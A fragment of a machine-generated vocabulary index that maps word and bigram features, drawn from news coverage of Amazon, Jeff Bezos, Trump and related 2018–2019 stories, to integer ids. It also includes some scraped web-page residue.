"exoneration": 139198, "accumulated 252": 139199, "runs data": 139200, "saw trump": 139201, "session president": 139202, "airbus says": 139203, "swiftly forcing": 139204, "amazon stunned": 139205, "experiences women": 139206, "family centers": 139207, "merchandise add": 139208, "istock": 139209, "president looking": 139210, "tests known": 139211, "certain companies": 139212, "theprofessionals": 139213, "new safeguards": 139214, "needs deep": 139215, "unmanned trucks": 139216, "limited exclusion": 139217, "annual salary": 139218, "midas": 139219, "florida va": 139220, "legitimacy hope": 139221, "service cuts": 139222, "faded": 139223, "cnnvideoapiloadcompletehandlers push": 139224, "van": 139225, "buying opportunity": 139226, "news added": 139227, "maycay": 139228, "city amid": 139229, "massive story": 139230, "paying hefty": 139231, "diluted shares": 139232, "chest pains": 139233, "trend forming": 139234, "drug": 139235, "skyrocket": 139236, "pilot shooting": 139237, "merchant online": 139238, "origin self": 139239, "hiking boots": 139240, "abusing antitrust": 139241, "737f": 139242, "cashiers spencer": 139243, "workers donald": 139244, "melina mara": 139245, "korean guides": 139246, "amazon ought": 139247, "royal london": 139248, "includes police": 139249, "mac songs": 139250, "relief reveals": 139251, "policy following": 139252, "amazon shopping": 139253, "lot lobbying": 139254, "percentile tells": 139255, "says high": 139256, "6th district": 139257, "independent filmmakers": 139258, "spats going": 139259, "overstated trade": 139260, "hunger 2018": 139261, "today wished": 139262, "state john": 139263, "1994 billionaires": 139264, "528": 139265, "specifically calling": 139266, "republican agrees": 139267, "pile inside": 139268, "customized vans": 139269, "concerns 1531928062": 139270, "love 2018": 139271, "thoroughly analyze": 139272, "mountain rooting": 139273, "gma": 139274, "source handout": 139275, "people ability": 139276, "product design": 139277, "classified republican": 139278, "billion 96b": 139279, "unh dow": 139280, "amazon behalf": 139281, "delegitimize cnn": 139282, "george pimentel": 139283, "bertoux": 139284, "mum happy": 139285, "walmart pork": 139286, "nov 2014": 139287, "charlotte mecklenburg": 139288, "warfare bezos": 139289, "different opinions": 139290, "ogilvie transportation": 139291, "autopsy": 139292, "making material": 139293, "immigration advisory": 139294, "stock drops": 139295, "speculative": 139296, "lives does": 139297, "equality index": 139298, "headquartersin new": 139299, "security threats": 139300, "students vegetable": 139301, "sources chatham": 139302, "reassessments": 139303, "simple time": 139304, "bell bloomberg": 139305, "chinese obviously": 139306, "new music": 139307, "______ manohla": 139308, "jack hock": 139309, "2001 terrorist": 139310, "language increasingly": 139311, "s9x c0": 139312, "damon christian": 139313, "denning point": 139314, "rigorous": 139315, "mills ahead": 139316, "famously reformed": 139317, "practical guide": 139318, "package delivered": 139319, "2013 sat": 139320, "engagement think": 139321, "trumpdate yesterday": 139322, "coke fortune": 139323, "pose health": 139324, "increase lending": 139325, "advice 2019": 139326, "sanchez began": 139327, "panel tells": 139328, "shipping pilots": 139329, "hoobraj report": 139330, "million irises": 139331, "pot nonstick": 139332, "shops just": 139333, "mizuho lowers": 139334, "urging federal": 139335, "finance ohanian": 139336, "massive wads": 139337, "entertaining perspective": 139338, "princesses save": 139339, "titled message": 139340, "man today": 139341, "assessment disagree": 139342, "ko saw": 139343, "0305": 139344, "waiting uber": 139345, "longer knew": 139346, "ooo": 139347, "knee": 139348, "securing government": 139349, "shark rich": 139350, "despite south": 139351, "degrees accordingly": 139352, "microsoft staff": 139353, "worth 140bn": 139354, "mug": 139355, "destined": 139356, "suburb 2018": 139357, "amazon lot": 139358, "alger rags": 139359, "reunion": 139360, "thiel competition": 139361, "hardly needed": 139362, "effectiveness advanced": 139363, "collect payments": 139364, "corp tsxv": 139365, "say pic": 139366, "beijing technology": 139367, "office cuny": 139368, "expand theirinvestigation": 139369, "stadium recommended": 139370, "early newspapers": 139371, "just temporary": 139372, "000 new": 139373, "performance offers": 139374, "agency spokesman": 139375, "pages looks": 139376, "fryer": 139377, "today expressing": 139378, "mortgage borrowers": 139379, "capital incorporated": 139380, "dakota estimates": 139381, "demands new": 139382, "weekend roundup": 139383, "capital gazett": 139384, "fished": 139385, "elevated valuation": 139386, "guarantees indigenous": 139387, "744": 139388, "antitrust regulations": 139389, "report pulls": 139390, "liberal leadership": 139391, "control feature": 139392, "plan based": 139393, "freuman native": 139394, "fall elections": 139395, "americans today": 139396, "wage victory": 139397, "collective excrement": 139398, "harmless": 139399, "good great": 139400, "cut trees": 139401, "splunk": 139402, "boomed": 139403, "consumers pay": 139404, "cpg consumer": 139405, "hairs": 139406, "computing division": 139407, "ma huateng": 139408, "elks": 139409, "morning david": 139410, "chronological": 139411, "presidential resignations": 139412, "won cross": 139413, "amazon revisits": 139414, "stroup eater": 139415, "threaten jobs": 139416, "river surrounded": 139417, "6000 2018": 139418, "giant flipkart": 139419, "certain media": 139420, "inaccessible workplaces": 139421, "wit": 139422, "minister salles": 139423, "truck driver": 139424, "presorting meds": 139425, "mail deliveries": 139426, "trump amid": 139427, "commentary president": 139428, "mrc human": 139429, "overpays": 139430, "faced drumbeat": 139431, "roughly doubled": 139432, "company authorised": 139433, "textbook says": 139434, "written response": 139435, "message implied": 139436, "2018 start": 139437, "rutherford": 139438, "single minded": 139439, "45bil": 139440, "ring neighbors": 139441, "vaccination conspiracies": 139442, "ends warns": 139443, "lambasts": 139444, "best known": 139445, "en masse": 139446, "remains virtually": 139447, "parsec": 139448, "consumers predicted": 139449, "ceremony win": 139450, "obtained risque": 139451, "good business": 139452, "patriot act": 139453, "nut": 139454, "pires assistant": 139455, "js gigya": 139456, "national employment": 139457, "wallace": 139458, "potus": 139459, "british reformation": 139460, "commerce giants": 139461, "clear images": 139462, "worth shot": 139463, "gain amazon": 139464, "damaging reports": 139465, "gold intraday": 139466, "violent crime": 139467, "por los": 139468, "continued reportage": 139469, "bezos eye": 139470, "water bezos": 139471, "blocks stack": 139472, "daughter leni": 139473, "products business": 139474, "says yes": 139475, "tv channels": 139476, "democratic socialist": 139477, "depriving": 139478, "block projects": 139479, "star ratings": 139480, "help chinese": 139481, "national law": 139482, "entire cube": 139483, "demands caption": 139484, "win nominations": 139485, "fait": 139486, "construct": 139487, "normally celebrity": 139488, "amazon struck": 139489, "year netting": 139490, "cap 2018": 139491, "garry": 139492, "kellys today": 139493, "subpar wages": 139494, "taken specific": 139495, "sought": 139496, "knockoff": 139497, "schools special": 139498, "reported luxembourg": 139499, "giving money": 139500, "elite mall": 139501, "lena dunham": 139502, "fresh": 139503, "bump": 139504, "wong amazon": 139505, "impressive retailer": 139506, "companies sells": 139507, "nato trade": 139508, "justice veteran": 139509, "reserve roastery": 139510, "higher mortgage": 139511, "dinegar": 139512, "best idea": 139513, "dawsey trump": 139514, "initial texts": 139515, "printed handgun": 139516, "pending legislation": 139517, "worse amazon": 139518, "president wasn": 139519, "chan robert": 139520, "deckers stock": 139521, "setting new": 139522, "tendencies": 139523, "advisory news": 139524, "aws read": 139525, "brief note": 139526, "professors": 139527, "300 month": 139528, "conservative fair": 139529, "blowing 134": 139530, "says baby": 139531, "weather grammys": 139532, "hardly supermarket": 139533, "ended q4": 139534, "lot stephanopoulos": 139535, "pet insurance": 139536, "dodge hostile": 139537, "zignal": 139538, "island city": 139539, "unnecessarily specific": 139540, "explore strategic": 139541, "sotu deal": 139542, "collect money": 139543, "frustrated youth": 139544, "federal crimes": 139545, "suggests bezos": 139546, "trims": 139547, "recently emerged": 139548, "politico natasha": 139549, "cigarette startup": 139550, "korea kospi": 139551, "don told": 139552, "cbs afghanistan": 139553, "report review": 139554, "pitches": 139555, "detect cancer": 139556, "developing deep": 139557, "epettersson": 139558, "shirt sold": 139559, "californians buy": 139560, "award contract": 139561, "clayton": 139562, "spellings": 139563, "amazon scamming": 139564, "cuomo new": 139565, "dialogue instead": 139566, "day original": 139567, "rising marketplace": 139568, "inc_meta_keywords": 139569, "better timed": 139570, "volunteered did": 139571, "detailed conversation": 139572, "tester pushes": 139573, "chanted anti": 139574, "hates president": 139575, "old named": 139576, "amazon sees": 139577, "usps commission": 139578, "blinded": 139579, "trump accusations": 139580, "frank health": 139581, "building 150": 139582, "northfield executive": 139583, "liked institution": 139584, "street huckster": 139585, "downstairs shipment": 139586, "photos include": 139587, "trade lebanese": 139588, "enquirer love": 139589, "complex variations": 139590, "turn rainforests": 139591, "anytime": 139592, "antagonist michael": 139593, "lamp": 139594, "city andyou": 139595, "stores plus": 139596, "publish numerous": 139597, "rental market": 139598, "canisters": 139599, "bills passed": 139600, "policed environment": 139601, "ar publix": 139602, "influence efforts": 139603, "night look": 139604, "vaccine safety": 139605, "pets nearly": 139606, "sky using": 139607, "booking photos": 139608, "received billion": 139609, "journal ge": 139610, "2023 parcel": 139611, "businesses trying": 139612, "nationale": 139613, "agency essentially": 139614, "best analysts": 139615, "valuation mark": 139616, "correspondents read": 139617, "morgan think": 139618, "inbev conglomerate": 139619, "announced recently": 139620, "services usps": 139621, "public goods": 139622, "wildfire pets": 139623, "second area": 139624, "disguising oneself": 139625, "develop innovative": 139626, "crony contracts": 139627, "reported private": 139628, "francisco kron": 139629, "jeffries just": 139630, "article lucky": 139631, "evicted abruptly": 139632, "usatoda saudi": 139633, "yang norton": 139634, "amazon test": 139635, "cloud companies": 139636, "officially open": 139637, "cathy muller": 139638, "selyukh thank": 139639, "america asia": 139640, "skirts paying": 139641, "yorker business": 139642, "centimeter": 139643, "trump india": 139644, "police suspects": 139645, "channelhash": 139646, "regulator": 139647, "agreement expired": 139648, "soverly": 139649, "northeastern bartiromo": 139650, "new nassau": 139651, "sexual scandal": 139652, "audible twitch": 139653, "office provisionally": 139654, "service profitable": 139655, "cowan": 139656, "nina": 139657, "deal uncertainties": 139658, "rothschild": 139659, "wages launched": 139660, "company produced": 139661, "enquirer better": 139662, "single crony": 139663, "4gb ram": 139664, "weather local": 139665, "masses complaints": 139666, "right trades": 139667, "later dispute": 139668, "marks nature": 139669, "imaginative debut": 139670, "strategy ahead": 139671, "twisted characters": 139672, "exerted": 139673, "jeff remains": 139674, "axelrod": 139675, "pause forget": 139676, "care burden": 139677, "commodity": 139678, "plan hatched": 139679, "bezos pointed": 139680, "jurisdictional bidding": 139681, "actually think": 139682, "major deals": 139683, "political makeup": 139684, "victim article": 139685, "obamacare": 139686, "classified files": 139687, "vile ms": 139688, "problems things": 139689, "subscription san": 139690, "i8": 139691, "time sitting": 139692, "praised sinclair": 139693, "sheryl": 139694, "buy controlling": 139695, "accused facebook": 139696, "rout 2018": 139697, "problem behaviors": 139698, "v4e rebel": 139699, "brokaw": 139700, "chrome": 139701, "threatened 2018": 139702, "jason calacanis": 139703, "cancels colombia": 139704, "finalize changes": 139705, "facts orwell": 139706, "whoopi": 139707, "mike krieger": 139708, "race relations": 139709, "colombia": 139710, "chevy cruze": 139711, "entering": 139712, "black activists": 139713, "wqiguvz0pa": 139714, "operate business": 139715, "income parents": 139716, "excused": 139717, "g4": 139718, "story sara": 139719, "rep don": 139720, "jwestbrook1": 139721, "dinging amazon": 139722, "affects coverage": 139723, "party marketplaces": 139724, "patriarch fred": 139725, "mcnamee": 139726, "2017 tax": 139727, "sellers": 139728, "new game": 139729, "commodities companies": 139730, "investor famously": 139731, "ami defense": 139732, "euros 522": 139733, "evan rich": 139734, "subsidised postal": 139735, "sending american": 139736, "real signs": 139737, "consultancy euromonitor": 139738, "america video": 139739, "blossom": 139740, "liarsleakersliberals pic": 139741, "netflix subscriptions": 139742, "feel small": 139743, "continue pressuring": 139744, "payback": 139745, "manufacturing jobs": 139746, "archaic rules": 139747, "trump castigations": 139748, "giant killed": 139749, "interference hoax": 139750, "target trafficking": 139751, "owner jeffbezos": 139752, "department turn": 139753, "cnbc coworking": 139754, "inverted": 139755, "tells reuters": 139756, "org tags": 139757, "positive reputations": 139758, "follow joe": 139759, "added advertising": 139760, "charitable fund": 139761, "pursues": 139762, "president jair": 139763, "cotillard": 139764, "cuseum offers": 139765, "stows": 139766, "haystack": 139767, "answer amazon": 139768, "629": 139769, "xml": 139770, "kindle version": 139771, "based telemark": 139772, "flakedems": 139773, "rose 112": 139774, "yelled": 139775, "muckerman huh": 139776, "amzn time": 139777, "warring": 139778, "172": 139779, "redefined antitrust": 139780, "prevents double": 139781, "judge travelpod": 139782, "actions recommended": 139783, "california based": 139784, "grandmothers": 139785, "ken marino": 139786, "lucrative place": 139787, "delivery services": 139788, "contact apcustomersupport": 139789, "mortgage bankers": 139790, "recently wanted": 139791, "advisory panel": 139792, "enhanced set": 139793, "gofundme page": 139794, "larger corporation": 139795, "broadcasting history": 139796, "enterprise homeowners": 139797, "new news": 139798, "nerve center": 139799, "source news": 139800, "target ads": 139801, "lee chang": 139802, "gold standard": 139803, "considerable scrutiny": 139804, "different computers": 139805, "congress amazon": 139806, "cognisance": 139807, "celebrity press": 139808, "bull ecpect": 139809, "integration drive": 139810, "party expect": 139811, "worth 155": 139812, "partnership trade": 139813, "currently weighing": 139814, "ongoing battle": 139815, "walmart purge": 139816, "trump republican": 139817, "enquirer reportedly": 139818, "2018 fail": 139819, "sourceamazon bloomberg": 139820, "help negotiate": 139821, "commission today": 139822, "provided photos": 139823, "empowering": 139824, "1954 today": 139825, "scenario sanchez": 139826, "slightly lower": 139827, "york thing": 139828, "imminent retirement": 139829, "basic hygiene": 139830, "hurt lower": 139831, "temporary halt": 139832, "retirement just": 139833, "buy decision": 139834, "results reflect": 139835, "400 heather": 139836, "aires": 139837, "vaunted": 139838, "bring amazon": 139839, "slate points": 139840, "kristen welker": 139841, "dodging retail": 139842, "reportedly entered": 139843, "planned talent": 139844, "wheels": 139845, "unchartered waters": 139846, "stop caldwell": 139847, "paint dystopian": 139848, "interior spokeswoman": 139849, "seeking higher": 139850, "creates tense": 139851, "economic conditions": 139852, "force detainees": 139853, "continuously discovered": 139854, "notably facebook": 139855, "story rod": 139856, "2009 article": 139857, "multiyear contract": 139858, "largest technology": 139859, "advice": 139860, "applying common": 139861, "633": 139862, "want coming": 139863, "wring": 139864, "amazon nearly": 139865, "logistics chain": 139866, "ice history": 139867, "remembrance day": 139868, "led crackdown": 139869, "natural resource": 139870, "shocking msnbc": 139871, "larson talks": 139872, "supported streaming": 139873, "modeling number": 139874, "soller": 139875, "harrison senior": 139876, "solid benefits": 139877, "extremely tense": 139878, "perspectives rounded": 139879, "interior officials": 139880, "john cena": 139881, "expectations foreign": 139882, "cool trump": 139883, "jenna fischer": 139884, "coalition says": 139885, "selling acne": 139886, "prism": 139887, "obama presidency": 139888, "win vindicates": 139889, "chinese investment": 139890, "julie swetnick": 139891, "p500 drops": 139892, "giveth": 139893, "field warren": 139894, "narratives": 139895, "shadowy afflictions": 139896, "tell soccer": 139897, "buying stampede": 139898, "nick pyenson": 139899, "surprise audience": 139900, "square icons": 139901, "discretionary": 139902, "bret jaspers": 139903, "risk liquidation": 139904, "moscow trump": 139905, "columnist reporter": 139906, "m2x p0": 139907, "ping pong": 139908, "great social": 139909, "press corps": 139910, "protection big": 139911, "ami american": 139912, "2018q4 according": 139913, "hollywood pumped": 139914, "featuring jeff": 139915, "entrepreneur ditched": 139916, "forever stone": 139917, "online following": 139918, "reported 161": 139919, "new petition": 139920, "tv producer": 139921, "stifling ohio": 139922, "downward spiral": 139923, "costly": 139924, "house press": 139925, "traditional media": 139926, "director gregg": 139927, "reuters massachusetts": 139928, "big surprise": 139929, "office fact": 139930, "solving art": 139931, "smithsonian books": 139932, "change welfare": 139933, "barrel options": 139934, "deteriorated": 139935, "coyne": 139936, "listeners": 139937, "trailhead pants": 139938, "rrainey politico": 139939, "assembly later": 139940, "finance follow": 139941, "cbs face": 139942, "unique model": 139943, "inside trump": 139944, "retail 2018": 139945, "liquid": 139946, "west texas": 139947, "790": 139948, "best week": 139949, "flex blocks": 139950, "arnold schwarzenegger": 139951, "possibly disloyal": 139952, "south korean": 139953, "nevada attorney": 139954, "shippers warned": 139955, "government lisa": 139956, "intc reported": 139957, "indicate ways": 139958, "best performers": 139959, "thinker": 139960, "earning american": 139961, "work takes": 139962, "frequently complains": 139963, "allow farmworkers": 139964, "trump stress": 139965, "described democratic": 139966, "neel": 139967, "1980s plus": 139968, "helping turn": 139969, "newsgathering howard": 139970, "false promises": 139971, "arms deal": 139972, "dolan": 139973, "fractured relationship": 139974, "touch amazon": 139975, "educations": 139976, "construction site": 139977, "sandbags": 139978, "forrester research": 139979, "city missouri": 139980, "elevated thrillers": 139981, "phil stand": 139982, "win": 139983, "sales tax": 139984, "returns according": 139985, "turn jackpot": 139986, "refundable credits": 139987, "prominent anti": 139988, "john lewis": 139989, "aesthetics": 139990, "hola": 139991, "customer paying": 139992, "don lie": 139993, "fi stated": 139994, "city staff": 139995, "bezos existed": 139996, "morning trading": 139997, "paycheck paycheck": 139998, "stop question": 139999, "assault following": 140000, "foreign language": 140001, "junta": 140002, "line objective": 140003, "cook brendan": 140004, "pt governments": 140005, "115 months": 140006, "bury": 140007, "originally created": 140008, "0701et copyright": 140009, "reverse decades": 140010, "faster pace": 140011, "deserves": 140012, "gallu": 140013, "competition used": 140014, "given engineers": 140015, "captures trumps": 140016, "cnn lawsuit": 140017, "executive bernie": 140018, "tell apart": 140019, "particular issue": 140020, "253": 140021, "rob stein": 140022, "geng": 140023, "extreme tactics": 140024, "degrees fahrenheit": 140025, "hiring thousands": 140026, "filing lawsuit": 140027, "emissions ceo": 140028, "bench strength": 140029, "linda sugin": 140030, "fodder split": 140031, "bowmer file": 140032, "3614": 140033, "stock gaining": 140034, "apparent attempt": 140035, "500 walmart": 140036, "disciplined voters": 140037, "ismobilebannertext": 140038, "actively pursing": 140039, "2020 seeking": 140040, "kingdom kremer": 140041, "matthew dalton": 140042, "greatly positioned": 140043, "usps regulatory": 140044, "denver teachers": 140045, "multiple applications": 140046, "dental retirement": 140047, "semblance": 140048, "friede": 140049, "reached trillion": 140050, "origin story": 140051, "monolithic power": 140052, "falter": 140053, "sent 305": 140054, "piled": 140055, "aides suggested": 140056, "regulatory": 140057, "axios don": 140058, "including money": 140059, "show__name showname": 140060, "expecting faster": 140061, "previously worked": 140062, "women serving": 140063, "aides plot": 140064, "supported": 140065, "cloud initiative": 140066, "immediately set": 140067, "fully explained": 140068, "leanings bs_link": 140069, "purchasing methods": 140070, "headquarters geekwire": 140071, "intercept": 140072, "foods fatigue": 140073, "moving significant": 140074, "twitter user": 140075, "told stahl": 140076, "premieres snl": 140077, "heavy hand": 140078, "separate set": 140079, "table mayukh": 140080, "decoupling": 140081, "awfulness": 140082, "sector looks": 140083, "watoday opinion": 140084, "grade topics": 140085, "start free": 140086, "bullock talks": 140087, "dp b7qmsx3wd": 140088, "danner great": 140089, "time dividend": 140090, "urged people": 140091, "lives flag": 140092, "issues florida": 140093, "matter began": 140094, "coalition identified": 140095, "steyer confirmed": 140096, "changed hands": 140097, "status 1041310008623943680": 140098, "effectively subsidizes": 140099, "warning trump": 140100, "train tunnel": 140101, "ball": 140102, "cheerleading": 140103, "centers sanders": 140104, "air quality": 140105, "reporting scott": 140106, "selling happened": 140107, "voyeuristic": 140108, "700 words": 140109, "online clear": 140110, "ago broke": 140111, "vets running": 140112, "fletcher": 140113, "huge oil": 140114, "sorrow": 140115, "following period": 140116, "alibaba did": 140117, "people president": 140118, "michael katchen": 140119, "jeffrey denny": 140120, "billion toronto": 140121, "122 increase": 140122, "intuit intu": 140123, "charts lopez": 140124, "way\u00e9tu": 140125, "south warts": 140126, "christine hallquist": 140127, "packages unlike": 140128, "guaranteed continued": 140129, "kidman amazon": 140130, "tacky people": 140131, "birkenstocks": 140132, "profoundly aggressive": 140133, "congratulations enjoyed": 140134, "senate leadership": 140135, "activity free": 140136, "lie read": 140137, "access tickets": 140138, "facebook looking": 140139, "transgender gender": 140140, "ad impressions": 140141, "final invasion": 140142, "really everybody": 140143, "bolsonaro owes": 140144, "tv stations": 140145, "faulkner faulkner": 140146, "jobs leaving": 140147, "jack reed": 140148, "delivery speeds": 140149, "enquirer follow": 140150, "customer content": 140151, "court cited": 140152, "brennan president": 140153, "tux\u00e1": 140154, "theodos research": 140155, "135 million": 140156, "plc holds": 140157, "best route": 140158, "reporter david": 140159, "idealogical arm": 140160, "headquarters announcements": 140161, "skinny retail": 140162, "police chief": 140163, "newly democrat": 140164, "provided text": 140165, "264 shares": 140166, "huge consumers": 140167, "state taxpayers": 140168, "late stages": 140169, "stop emailing": 140170, "main source": 140171, "external forces": 140172, "g1 a4ee": 140173, "fulfillment logistics": 140174, "britain official": 140175, "tracked closely": 140176, "office supplies": 140177, "annual shareholder": 140178, "afternoon storms": 140179, "ambitious netflix": 140180, "investigators actually": 140181, "sailor": 140182, "prevailed partially": 140183, "officer good": 140184, "text messages": 140185, "jill fisch": 140186, "untangles": 140187, "says needham": 140188, "buttermilk graffiti": 140189, "republican friend": 140190, "says alessandra": 140191, "make peace": 140192, "showered": 140193, "halliburton revealed": 140194, "microsoft introduce": 140195, "madness stone": 140196, "pantheon": 140197, "allegiance": 140198, "terrific selection": 140199, "ads feedback": 140200, "hatch spokesman": 140201, "cnbc npr": 140202, "varma": 140203, "upper hand": 140204, "az": 140205, "utilities": 140206, "sent abroad": 140207, "young engineers": 140208, "convened taskforce": 140209, "story gary": 140210, "months factory": 140211, "include bannon": 140212, "spiritual biography": 140213, "pentagon request": 140214, "siren": 140215, "paul argenti": 140216, "platform won": 140217, "high pension": 140218, "direct connection": 140219, "bopinion": 140220, "carnegie mellon": 140221, "greatly slowed": 140222, "davidson tom": 140223, "pushed": 140224, "construction according": 140225, "covers amazon": 140226, "deployed cabinet": 140227, "draft deal": 140228, "valid vote": 140229, "000 packages": 140230, "chair tom": 140231, "death syndrome": 140232, "department failed": 140233, "bezos counterattack": 140234, "street npr": 140235, "servers available": 140236, "story governor": 140237, "tastic": 140238, "entertainment analyst": 140239, "meng ny": 140240, "slightly higher": 140241, "captive": 140242, "brutally beaten": 140243, "machines perfected": 140244, "systems drywall": 140245, "queens rally": 140246, "including facial": 140247, "parcel sector": 140248, "takes claims": 140249, "amazon urged": 140250, "press report": 140251, "foreigner": 140252, "hillary clinton": 140253, "organizations john": 140254, "bags does": 140255, "shade": 140256, "morning joe": 140257, "led state": 140258, "considers foe": 140259, "speech rights": 140260, "immensely powerful": 140261, "pricing offers": 140262, "cicilline democrat": 140263, "surface transportation": 140264, "investment netflix": 140265, "containerclassid": 140266, "feather": 140267, "life experts": 140268, "cause brain": 140269, "times say": 140270, "immigrated illegally": 140271, "restructures": 140272, "potential incremental": 140273, "republicans speaking": 140274, "hits look": 140275, "global marketplace": 140276, "congestion pricing": 140277, "necessary heather": 140278, "clary anderson": 140279, "company inventory": 140280, "wenxuan outdoor": 140281, "tbc": 140282, "cancelling plans": 140283, "coudert jr": 140284, "provide large": 140285, "sociopaths": 140286, "p1 hoarci": 140287, "reprises": 140288, "scandal unless": 140289, "regular target": 140290, "trumps victory": 140291, "years overcoming": 140292, "relationships quite": 140293, "detention facility": 140294, "setinitialvideoembed": 140295, "recommendations subscribe": 140296, "retailers traffic": 140297, "brainer right": 140298, "zany eons": 140299, "china dilemma": 140300, "packed workshop": 140301, "homosexual men": 140302, "reserve continues": 140303, "3876 2992": 140304, "gutted earlier": 140305, "scattered": 140306, "cavuto": 140307, "japan policy": 140308, "books buttermilk": 140309, "mayor feels": 140310, "donated million": 140311, "comprehensive plan": 140312, "mortar chain": 140313, "companies announced": 140314, "roads conan": 140315, "ecolab launches": 140316, "grammar": 140317, "opposite views": 140318, "jordan peele": 140319, "controversial shooting": 140320, "people filled": 140321, "day act": 140322, "numerous possible": 140323, "source described": 140324, "shall soon": 140325, "president animosity": 140326, "sell items": 140327, "trump walks": 140328, "count olaf": 140329, "460": 140330, "buenos": 140331, "imposter syndrome": 140332, "000 compared": 140333, "directly supports": 140334, "transcript rush": 140335, "ross": 140336, "utx reported": 140337, "hammered": 140338, "access creates": 140339, "finest": 140340, "business large": 140341, "numerous controversies": 140342, "amazonhelp": 140343, "governments holds": 140344, "future deforestation": 140345, "book bold": 140346, "domestic volumes": 140347, "interactive game": 140348, "rates approved": 140349, "recently unleashed": 140350, "1890 company": 140351, "uses ai": 140352, "community credit": 140353, "beams": 140354, "pic saga": 140355, "ap newsroom": 140356, "corporations bipartisan": 140357, "provider month": 140358, "really bear": 140359, "christianity source": 140360, "wsj opines": 140361, "making national": 140362, "embedded content": 140363, "powell doesnt": 140364, "billion gig": 140365, "incident remained": 140366, "amazon reversed": 140367, "digital coins": 140368, "buy global": 140369, "citigroup nyse": 140370, "happens moving": 140371, "indignant lee": 140372, "reviewer": 140373, "sketches david": 140374, "repair reuters": 140375, "paper trump": 140376, "ice allies": 140377, "disastrous fallout": 140378, "old zain": 140379, "aly": 140380, "allow municipalities": 140381, "ali wong": 140382, "trump doing": 140383, "older baby": 140384, "fanfare": 140385, "bowled superbly": 140386, "small box": 140387, "data lives": 140388, "federal criminal": 140389, "trash bag": 140390, "forbes list": 140391, "challenge technology": 140392, "darkest corners": 140393, "objectivity": 140394, "politics policy": 140395, "suspect thought": 140396, "forth stood": 140397, "year navarro": 140398, "farming": 140399, "fact packages": 140400, "gang posed": 140401, "regularly clashed": 140402, "jared rich": 140403, "secretary book": 140404, "victims identities": 140405, "jane leavy": 140406, "wellsfargoresearch": 140407, "yielded powerful": 140408, "enquirer approached": 140409, "2027": 140410, "busy": 140411, "qualcomm hill": 140412, "driving local": 140413, "nelson fla": 140414, "jedi work": 140415, "turkey woes": 140416, "trump early": 140417, "life direction": 140418, "410 shares": 140419, "billing oft": 140420, "added showing": 140421, "obfuscating press": 140422, "intimate spaces": 140423, "sold opiates": 140424, "bat senator": 140425, "worse farr": 140426, "abusive market": 140427, "revered": 140428, "new james": 140429, "horrific allegations": 140430, "content messages": 140431, "failure nervous": 140432, "dismissed environmental": 140433, "divorce": 140434, "successful odalisque": 140435, "d2jyz4lfsmnmp9 cloudfront": 140436, "celebrity bloodletting": 140437, "placating": 140438, "antitrust case": 140439, "spent": 140440, "changed retail": 140441, "laura davison": 140442, "view later": 140443, "fiction reading": 140444, "viscous": 140445, "recognize respond": 140446, "equality transequality": 140447, "mayweather dj": 140448, "frank financial": 140449, "site laboratory": 140450, "guaranteed free": 140451, "close": 140452, "goodnight": 140453, "maybe life": 140454, "glimpse": 140455, "bikini": 140456, "rep jerrold": 140457, "week facebook": 140458, "described earlier": 140459, "developments": 140460, "plus local": 140461, "approach treat": 140462, "sears eventually": 140463, "state designated": 140464, "visitors": 140465, "platform future": 140466, "began biometric": 140467, "consensus 2018": 140468, "google pixel": 140469, "intelligent speakers": 140470, "nearly carried": 140471, "hype benzinga": 140472, "deposits belonging": 140473, "malaysia airlines": 140474, "40x": 140475, "information classified": 140476, "entered day": 140477, "kudlow theme": 140478, "headquarters office": 140479, "previously knew": 140480, "accused florida": 140481, "catholic leaders": 140482, "contfnew": 140483, "focuses resources": 140484, "amazon instead": 140485, "ethiopia": 140486, "alexa allegedly": 140487, "2018 hero": 140488, "enterprise delivering": 140489, "jail gripping": 140490, "users telling": 140491, "6097408": 140492, "told workers": 140493, "reines frank": 140494, "___ uk": 140495, "seek dismissal": 140496, "strategic planning": 140497, "campaign promise": 140498, "station viewed": 140499, "power questions": 140500, "bank started": 140501, "debate trump": 140502, "separately subaru": 140503, "employees decide": 140504, "delivery contractors": 140505, "crimes law": 140506, "melancholy": 140507, "mixed feeling": 140508, "touting having": 140509, "city infrastructures": 140510, "drop trump": 140511, "crested": 140512, "file legal": 140513, "package inserts": 140514, "stone denied": 140515, "chief clearly": 140516, "year growing": 140517, "bezos cosplay": 140518, "shipping availability": 140519, "entertainment apps": 140520, "cecil": 140521, "emerging global": 140522, "brennan personally": 140523, "mark download": 140524, "2019 farrow": 140525, "john": 140526, "eleni": 140527, "presses": 140528, "captions": 140529, "division amazon": 140530, "legal practice": 140531, "house tech": 140532, "diego union": 140533, "aron": 140534, "america allies": 140535, "added nearly": 140536, "fancy hotels": 140537, "cattle lobby": 140538, "million illegals": 140539, "day tg": 140540, "hair care": 140541, "adjudicates": 140542, "amidst mounting": 140543, "210 words": 140544, "murders trump": 140545, "img_skyscraperref null": 140546, "disgust grew": 140547, "momplicated": 140548, "morph": 140549, "punishment editorial": 140550, "varney outrage": 140551, "democrats wanted": 140552, "single buyer": 140553, "design truck": 140554, "rap impresario": 140555, "future salesforce": 140556, "workers mix": 140557, "launch event": 140558, "assist law": 140559, "highlighting broader": 140560, "governance amazon": 140561, "traditional faith": 140562, "deftly": 140563, "support fleet": 140564, "stay big": 140565, "mma intends": 140566, "anxiety": 140567, "important figures": 140568, "forgiveness 2018": 140569, "underlying dynamics": 140570, "fired filed": 140571, "equipment apparel": 140572, "line consumer": 140573, "began recording": 140574, "head executive": 140575, "month good": 140576, "limousine commission": 140577, "pretty clear": 140578, "speech codes": 140579, "year evaluates": 140580, "stardust": 140581, "company uniform": 140582, "broader criticisms": 140583, "answer don": 140584, "summit just": 140585, "book including": 140586, "matter reported": 140587, "declined repeated": 140588, "decline meaningfully": 140589, "unforced 401": 140590, "tech giants": 140591, "house votes": 140592, "read source": 140593, "clinton national": 140594, "entire global": 140595, "wilking": 140596, "defuse": 140597, "giant office": 140598, "maisel home": 140599, "promoting negative": 140600, "avalaras stocks": 140601, "announced major": 140602, "sen dick": 140603, "lucy fleming": 140604, "montgomery bid": 140605, "creating": 140606, "conway 179": 140607, "van tine": 140608, "isnot going": 140609, "michael che": 140610, "profits offshore": 140611, "policy center": 140612, "vancouver": 140613, "isnt turning": 140614, "oxycontin lawsuit": 140615, "parties candidates": 140616, "pentagon personnel": 140617, "earn 101": 140618, "heart trump": 140619, "twitter war": 140620, "couple keeps": 140621, "afreshman congresswoman": 140622, "comments blaming": 140623, "pelosi wants": 140624, "dubious schemes": 140625, "rain netflix": 140626, "sexual affairs": 140627, "fakes won": 140628, "opinion writes": 140629, "pecker owns": 140630, "hinting": 140631, "trump members": 140632, "entertainment defended": 140633, "retains voting": 140634, 